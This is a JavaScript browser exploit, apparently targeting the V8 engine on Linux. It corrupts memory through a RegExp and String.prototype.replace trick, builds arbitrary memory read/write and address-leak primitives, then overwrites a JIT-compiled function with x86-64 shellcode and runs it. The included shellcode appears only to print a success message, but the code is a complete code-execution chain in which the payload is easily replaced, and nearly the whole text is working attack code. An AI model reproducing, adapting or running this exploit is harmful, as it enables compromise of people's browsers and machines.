function gc(){ for (let i=0;i<0x10;i++) new ArrayBuffer(0x800000); } const buffer_length_int = new Int64("0x0000000000414143"); const buffer_length_smi = new Int64("0x0041414300000000"); const object_array_length_smi = new Int64("0x0000dabe00000000"); function isOSSupported() { var userAgent = window.navigator.userAgent; var platform = window.navigator.platform; if(/Linux/.test(platform)) { return true; } return false; } function exploit() { function jitme(x) { for(let i = 2; i < x; i++) if(x % i === 0) return false; return x > 1; } function obj_to_dict(obj){ obj.__defineGetter__('x',()=>2); obj.__defineGetter__('x',()=>2); } // declare our variables to trigger the vulnerability rgx = null; double_array = [1.1, 2.2, 3.3, 4.4]; o = {}; // specify the value of the "length" field o.__defineGetter__("length", ()=>{ rgx = new RegExp(/AAAAAAAA/y); return 2; // because there are two items in o[] }); // 1st item in o[] o[0] = "aaaa"; // 2nd item in o[] o.__defineGetter__(1, ()=>{ for (let i=0;i<8;i++) double_array.push(5.5); var evil_o = {}; var num = {}; evil_o.toString = function(){ rgx.lastIndex = num; return "abc".repeat(0x1000); } num.toString = function(){ obj_to_dict(rgx); gc(); return 0x0; } // we trigger the vulnerability here String.prototype.replace.call(evil_o,rgx,function(){}); return "bbbb"; }); proxy = new Proxy({}, { ownKeys: function(target){ console.log("[*] The function ownKeys() got called!"); return o; }, getOwnPropertyDescriptor(target, prop) { console.log("[*] The function getOwnPropertyDescriptor() got called!"); return { configurable: true, enumerable: true, value: 5 }; } }); Object.keys(proxy); if (double_array[0] == 1.1){ console.log("[-] Failed to corrupt double_array!"); console.log("[-] Exploit corruption failed!"); return 1; } for (let i=0;i<0x800;i++) double_array.push(0.0); var buffer_offset = Infinity; let object_array_offset = Infinity; let object_arr_value_smi = object_array_length_smi.asDouble(); let obj_arr = null; let adjacent_buffer = null; for (let x = 1; x <= 5; x++){ adjacent_buffer = new ArrayBuffer(0x414143); obj_arr = new Array(0x80).fill("x"); // spray the object array with our key value for (let i = 0; i < 4; i++) obj_arr[i] = 0xdabe; for (let i = 0; i < double_array.length; i++) { // check if we found the key value related to our object array if (double_array[i] == object_arr_value_smi && double_array[i+1] == object_arr_value_smi && double_array[i+2] == object_arr_value_smi && double_array[i+3] == object_arr_value_smi) { // set the offset of the object array object_array_offset = i; } // check if we found the key values related to our ArrayBuffer if(double_array[i] === buffer_length_smi.asDouble() && double_array[i + 3] === buffer_length_int.asDouble()) { // + 1 in order to reach the backing buffer pointer buffer_offset = i + 1; } } // check if all elements were found, and if yes, stop looking if (object_array_offset != Infinity && buffer_offset != Infinity){ break; } } // check if the object array offset was found if (object_array_offset == Infinity) { console.log("[-] Failed to find object_array_offset!"); return 1; } // check if the buffer offset was found if (buffer_offset == Infinity) { console.log("[-] Failed to find buffer_offset!"); return 1; } console.log("[*] All offsets found!"); var memory = { read8(addr) { // save the original backing buffer pointer let ptr_backup = double_array[buffer_offset]; // set the backing buffer pointer to the given address double_array[buffer_offset] = addr.asDouble(); // craft an array with the corrupted buffer let arr = new Float64Array(adjacent_buffer, 0, 8); // get the value that resides at the given address let val = Int64.fromDouble(arr[0]); // restore the original backing buffer pointer double_array[buffer_offset] = ptr_backup; // return the value return val; }, write(addr, val) { // save the original backing buffer pointer let ptr_backup = double_array[buffer_offset]; // set the backing buffer pointer to the given address double_array[buffer_offset] = addr.asDouble(); // craft an array with the corrupted buffer let arr = new Uint8Array(adjacent_buffer); // set the memory at the given address, with the value(s) given arr.set(val); // restore the original backing buffer pointer double_array[buffer_offset] = ptr_backup; }, addrof(obj) { // put the object on index 0 obj_arr[0] = obj; // grab the address of the object from the second array let address = double_array[object_array_offset]; // convert to integer & return return Int64.fromDouble(address); }, fakeobj(addr) { // put the address of the object in the double array double_array[object_array_offset] = addr; // get a fake object out of it let fake_obj = obj_arr[0]; // return the fake object return fake_obj; } }; // JIT compile the function for(let i = 0; i < 50; i++){ jitme(); } // The shellcode to be run var shellcode = [0xeb, 0x1c, 0x5e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xba, 0x1c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x0f, 0x05, 0xe8, 0xdf, 0xff, 0xff, 0xff, 0x54, 0x68, 0x65, 0x20, 0x65, 0x78, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x20, 0x77, 0x61, 0x73, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, 0x6c, 0x21, 0x0a]; // get the address of the jitme() function let jitted_function_ptr = memory.addrof(jitme); console.log("[*] JIT Function Address: " + jitted_function_ptr); // compensate for the fact that addresses in V8 are tagged let jitted_func_address = Sub(jitted_function_ptr, 1); // read the pointer of where the function's code is stored let JIT_ptr = memory.read8(Add(jitted_func_address, 48)); // navigate at the offset of the start of the function code let jit_code = Add(JIT_ptr, 95); // write the shellcode to memory console.log("[+] Writing the shellcode ...") memory.write(jit_code, shellcode); // call the function that will run the shellcode console.log("[+] Executing the JIT function ..."); jitme(); } ready.then(function() { // check if the OS is unsupported if(!isOSSupported()) { console.log("[-] This device is not supported!"); return 1; } // run the exploit exploit(); return 0; }).catch(function(err) { console.log("[-] Initialization failed"); });